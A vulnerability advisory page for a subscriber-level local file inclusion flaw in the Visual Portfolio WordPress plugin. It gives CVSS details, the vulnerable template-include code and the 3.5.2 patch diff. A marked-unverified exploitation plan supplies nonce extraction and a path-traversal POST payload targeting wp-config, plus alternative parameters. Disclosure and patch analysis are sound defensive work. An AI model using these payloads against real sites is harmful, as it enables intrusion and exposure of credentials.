CVE-2026-32537

Visual Portfolio, Photo Gallery & Post Grid <= 3.5.1 - Authenticated (Subscriber+) Local File Inclusion

highImproper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
3.5.2
Patched in
7d
Time to patch

Description

The Visual Portfolio, Photo Gallery & Post Grid plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 3.5.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other "safe" file types can be uploaded and included.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.5.1
PublishedMarch 20, 2026
Last updatedMarch 26, 2026
Affected pluginvisual-portfolio

What Changed in the Fix

Changes introduced in v3.5.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-32537 ## 1. Vulnerability Summary The **Visual Portfolio, Photo Gallery & Post Grid** plugin (versions <= 3.5.1) is vulnerable to **Authenticated Local File Inclusion (LFI)**. The vulnerability exists within the template loading mechanism where user-controlled…

Show full research plan

Exploitation Research Plan: CVE-2026-32537

1. Vulnerability Summary

The Visual Portfolio, Photo Gallery & Post Grid plugin (versions <= 3.5.1) is vulnerable to Authenticated Local File Inclusion (LFI). The vulnerability exists within the template loading mechanism where user-controlled attributes passed via AJAX are used to construct file paths for PHP include statements without sufficient sanitization or validation against a whitelist.

Specifically, the Visual_Portfolio_Templates::include_template function (found in classes/class-templates.php) accepts a $template_name parameter, appends .php to it, and includes the resulting path. An attacker with Subscriber-level permissions can trigger this via the vp_get_portfolio_items AJAX action by manipulating parameters such as items_style.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: vp_get_portfolio_items
  • Vulnerable Parameter: attribs[items_style] (or potentially other style-related attributes like filter_style or pagination_type)
  • Authentication: Required (Subscriber or higher)
  • Nonce: Required (Action: visual-portfolio)
  • Precondition: A valid "Saved Layout" ID or a page where the plugin's assets are loaded is needed to retrieve the nonce.

3. Code Flow

  1. Entry Point: The user sends a POST request to admin-ajax.php with the action vp_get_portfolio_items.
  2. AJAX Handler: The plugin registers the action (likely in classes/class-get-portfolio.php or classes/class-rest.php).
  3. Input Extraction: The handler extracts the attribs array from the request.
  4. Inclusion Sink: The handler identifies the template to use based on attribs['items_style'].
  5. Vulnerable Call: The handler calls Visual_Portfolio_Templates::include_template( $template_name, $args ).
  6. LFI Execution: Inside classes/class-templates.php:
    public static function include_template( $template_name, $args = array() ) {
        // ...
        $template = visual_portfolio()->plugin_path . 'templates/' . $template_name . '.php';
        // ...
        if ( file_exists( $template ) ) {
            include $template; // Inclusion of path-traversed file
        }
    }
    
    If $template_name is set to ../../../../wp-config, the path becomes .../visual-portfolio/templates/../../../../wp-config.php.

4. Nonce Acquisition Strategy

The plugin localizes its configuration and nonces into the JavaScript variable vpf_data.

  1. Identify Shortcode: The plugin uses [visual_portfolio] to render galleries.
  2. Create Test Page:
    wp post create --post_type=page --post_status=publish --post_title="VP Gallery" --post_content='[visual_portfolio]'
  3. Authentication: Log in as a Subscriber user.
  4. Browser Navigation: Navigate to the newly created page.
  5. Extract Nonce: Use the following JS execution:
    browser_eval("window.vpf_data?.nonce")
    Note: The localization handle is visual-portfolio-js and the object name is vpf_data.

5. Exploitation Strategy

  1. Prerequisites:
    • Subscriber user credentials.
    • A valid Visual Portfolio layout must exist to ensure the AJAX handler processes the request fully (alternatively, providing a random integer for vpf_id often suffices if attributes are manually provided).
  2. HTTP Request (The Attack):
    • Method: POST
    • URL: http://<target>/wp-admin/admin-ajax.php
    • Headers: Content-Type: application/x-www-form-urlencoded, Cookie: [Subscriber Cookies]
    • Payload:
      action=vp_get_portfolio_items
      &nonce=[EXTRACTED_NONCE]
      &attribs[items_style]=../../../../wp-config
      &vpf_id=1
      
  3. Refinement: If wp-config produces no output (standard behavior), target a file that generates visible errors or content, such as:
    • attribs[items_style]=../../../../wp-admin/admin-footer (triggers HTML output)
    • attribs[items_style]=../../../../wp-blog-header (re-initializes WP, potentially causing errors)

6. Test Data Setup

  1. Create Subscriber: wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  2. Create Portfolio Content:
    • Ensure the plugin is active: wp plugin activate visual-portfolio
    • Create a simple layout to ensure the plugin's infrastructure is initialized:
      wp post create --post_type=visual-portfolio --post_status=publish --post_title="Test Layout"
  3. Place Shortcode: Place the layout on a page to facilitate nonce extraction.
    wp post create --post_type=page --post_status=publish --post_content='[visual_portfolio id="LAYOUT_ID_HERE"]'

7. Expected Results

  • Successful Inclusion: The HTTP response code will be 200 OK.
  • Response Content:
    • If targeting wp-config, the response might be empty or return a generic Success JSON if the inclusion succeeded but produced no output.
    • If targeting wp-admin/admin-footer, the response will contain actual HTML markup from the WordPress admin footer (e.g., </span></div><div class="clear"></div>).
  • Failed Attempt: A 403 Forbidden (nonce error) or a 200 OK with a "Template not found" style error if path traversal failed.

8. Verification Steps

Since this is an LFI that executes code, we can verify it by including a "canary" file.

  1. Create a canary file in the WordPress root:
    echo "<?php echo 'LFI_SUCCESSFUL'; ?>" > /var/www/html/poc.php
  2. Execute the exploit targeting the canary:
    attribs[items_style]=../../../../poc (remember the extension .php is added automatically).
  3. Check if LFI_SUCCESSFUL appears in the HTTP response body.

9. Alternative Approaches

If items_style is sanitized in some sub-versions, check these alternative parameters that also pass through include_template:

  • attribs[skin]
  • attribs[pagination_type]
  • attribs[filter_style]
  • attribs[renderer] (inferred)

If admin-ajax.php is blocked or restricted, check for REST API counterparts under the visual-portfolio/v1 namespace, though these typically require higher permissions in this specific plugin.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Visual Portfolio plugin is vulnerable to Local File Inclusion (LFI) due to insufficient validation of user-supplied template names in its AJAX handlers. Authenticated attackers with Subscriber-level access can use path traversal sequences in attributes like 'items_style' to include and execute arbitrary PHP files on the server.

Vulnerable Code

// classes/class-templates.php (around line 19)

public static function include_template( $template_name, $args = array() ) {
    // Allow 3rd party plugin filter template args from their plugin.
    $args = apply_filters( 'vpf_include_template_args', $args, $template_name );

    if ( ! empty( $args ) && is_array( $args ) ) {
        // phpcs:ignore WordPress.PHP.DontExtract.extract_extract
        extract( $args );
    }

    // template in theme folder.
    $template = locate_template( array( '/visual-portfolio/' . $template_name . '.php' ) );

    // pro plugin template.
    if ( ! $template && visual_portfolio()->pro_plugin_path && file_exists( visual_portfolio()->pro_plugin_path . 'templates/' . $template_name . '.php' ) ) {
        $template = visual_portfolio()->pro_plugin_path . 'templates/' . $template_name . '.php';
    }

    // default template.
    if ( ! $template ) {
        $template = visual_portfolio()->plugin_path . 'templates/' . $template_name . '.php';
    }

    // Allow 3rd party plugin filter template file from their plugin.
    $template = apply_filters( 'vpf_include_template', $template, $template_name, $args );

    if ( file_exists( $template ) ) {
        include $template;
    }
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/visual-portfolio/3.5.1/classes/class-security.php /home/deploy/wp-safety.org/data/plugin-versions/visual-portfolio/3.5.2/classes/class-security.php
--- /home/deploy/wp-safety.org/data/plugin-versions/visual-portfolio/3.5.1/classes/class-security.php	2025-06-26 08:46:04.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/visual-portfolio/3.5.2/classes/class-security.php	2026-02-18 07:58:28.000000000 +0000
@@ -249,6 +249,55 @@
 	}
 
 	/**
+	 * Sanitize icons selector attribute.
+	 *
+	 * Icons selector options are usually provided as an indexed array where each
+	 * option contains a `value` key, unlike regular select controls that may use
+	 * associative options by key.
+	 *
+	 * @param int|float|string $attribute - Unclear Selector Attribute.
+	 * @param array            $control - Array of control parameters.
+	 * @return int|float|string
+	 */
+	public static function sanitize_icons_selector( $attribute, $control ) {
+		$valid_options = array();
+
+		if ( isset( $control['options'] ) && is_array( $control['options'] ) ) {
+			foreach ( $control['options'] as $option_key => $option_data ) {
+				if ( is_array( $option_data ) && isset( $option_data['value'] ) ) {
+					$valid_options[] = (string) $option_data['value'];
+				} else {
+					$valid_options[] = (string) $option_key;
+				}
+			}
+		}
+
+		$attribute_string = is_bool( $attribute ) ? ( $attribute ? 'true' : 'false' ) : (string) $attribute;
+
+		// Reject path traversal sequences regardless of control options state.
+		if ( validate_file( $attribute_string ) !== 0 ) {
+			$attribute = self::reset_control_attribute_to_default( $attribute, $control );
+		}
+
+		// Apply strict allowlist only when options are available.
+		if ( ! empty( $valid_options ) && ! in_array( $attribute_string, $valid_options, true ) ) {
+			$attribute = self::reset_control_attribute_to_default( $attribute, $control );
+		}
+
+		if ( is_numeric( $attribute ) ) {
+			if ( false === strpos( $attribute, '.' ) ) {
+				$attribute = intval( $attribute );
+			} else {
+				$attribute = (float) $attribute;
+			}
+		} else {
+			$attribute = sanitize_text_field( wp_unslash( $attribute ) );
+		}
+
+		return $attribute;
+	}
+
+	/**
 	 * Reset the value of the control attribute to the default value.
 	 * Also check the attribute for a boolean value,
 	 * And if the default value contains a string like 'true' or 'false',
@@ -473,6 +522,9 @@
 							$attributes[ $key ] = self::sanitize_hidden( $attribute );
 							break;
 						case 'icons_selector':
+							// Layer 2: Validate against allowed options (same as 'select' type).
+							$attributes[ $key ] = self::sanitize_icons_selector( $attributes[ $key ], $controls[ $key ] );
+							break;
 						case 'text':
 						case 'radio':
 						case 'align':
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/visual-portfolio/3.5.1/classes/class-templates.php /home/deploy/wp-safety.org/data/plugin-versions/visual-portfolio/3.5.2/classes/class-templates.php
--- /home/deploy/wp-safety.org/data/plugin-versions/visual-portfolio/3.5.1/classes/class-templates.php	2023-11-25 22:33:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/visual-portfolio/3.5.2/classes/class-templates.php	2026-02-18 07:58:28.000000000 +0000
@@ -16,6 +16,11 @@
 	 * @param array  $args args for template.
 	 */
 	public static function include_template( $template_name, $args = array() ) {
+		// Layer 1: Reject template names containing path traversal sequences.
+		if ( validate_file( $template_name ) !== 0 ) {
+			return;
+		}
+
 		// Allow 3rd party plugin filter template args from their plugin.
 		$args = apply_filters( 'vpf_include_template_args', $args, $template_name );
 
@@ -41,17 +46,84 @@
 		$template = apply_filters( 'vpf_include_template', $template, $template_name, $args );
 
 		if ( file_exists( $template ) ) {
-			include $template;
+			// Layer 3: Verify the resolved path is within allowed directories.
+			$real_path = realpath( $template );
+
+			if ( $real_path && self::is_allowed_template_path( $real_path ) ) {
+				include $template;
+			}
 		}
 	}
 
 	/**
+	 * Check if a resolved file path is within allowed template directories.
+	 *
+	 * Layer 3: Prevents inclusion of files outside expected template directories,
+	 * even if path traversal bypasses other checks.
+	 *
+	 * @param string $real_path The resolved (realpath) file path to check.
+	 * @return bool True if the path is within an allowed directory.
+	 */
+	public static function is_allowed_template_path( $real_path ) {
+		$normalized_real_path = wp_normalize_path( $real_path );
+
+		if ( ! $normalized_real_path ) {
+			return false;
+		}
+
+		$allowed_dirs = array(
+			visual_portfolio()->plugin_path . 'templates/',
+			get_stylesheet_directory() . '/visual-portfolio/',
+			get_template_directory() . '/visual-portfolio/',
+		);
+
+		if ( visual_portfolio()->pro_plugin_path ) {
+			$allowed_dirs[] = visual_portfolio()->pro_plugin_path . 'templates/';
+		}
+
+		/**
+		 * Filters the list of allowed template directories.
+		 *
+		 * This is used by the Layer 3 realpath() inclusion guard.
+		 * Add your plugin directory here if you return a custom absolute template
+		 * path via the `vpf_include_template` filter.
+		 *
+		 * @since 3.5.2
+		 *
+		 * @param array  $allowed_dirs Allowed directories (absolute paths).
+		 * @param string $real_path    Resolved real path to the included template.
+		 */
+		$allowed_dirs = (array) apply_filters( 'vpf_allowed_template_dirs', $allowed_dirs, $real_path );
+
+		// Resolve all allowed directories to their real paths.
+		$allowed_dirs = array_filter( array_map( 'realpath', $allowed_dirs ) );
+
+		foreach ( $allowed_dirs as $dir ) {
+			$normalized_dir = trailingslashit( wp_normalize_path( $dir ) );
+
+			if ( strpos( $normalized_real_path, $normalized_dir ) === 0 ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
 	 * Find css template file
 	 *
 	 * @param string $template_name file name.
 	 * @return string
 	 */
 	public static function find_template_styles( $template_name ) {
+		// Layer 1: Reject template names containing path traversal sequences.
+		if ( validate_file( $template_name ) !== 0 ) {
+			return array(
+				'path'    => '',
+				'version' => '',
+			);
+		}
+
 		$template         = '';
 		$template_version = '';

Exploit Outline

The exploit targets the `vp_get_portfolio_items` AJAX action. An attacker must perform the following steps: 1. Authenticate to the WordPress site as a Subscriber or higher role. 2. Obtain a valid security nonce for the `visual-portfolio` action, which is typically exposed in the `vpf_data.nonce` JavaScript variable on any page where the plugin's gallery is present. 3. Construct a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `vp_get_portfolio_items` - `nonce`: The extracted nonce. - `attribs[items_style]`: A path traversal payload (e.g., `../../../../wp-config`). Note that the plugin automatically appends `.php` to the input. 4. When the server processes the request, the `Visual_Portfolio_Templates::include_template` function will resolve the path to the sensitive file and include it, resulting in the execution of the PHP code within that file (or exposing its output if it produces HTML/text).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.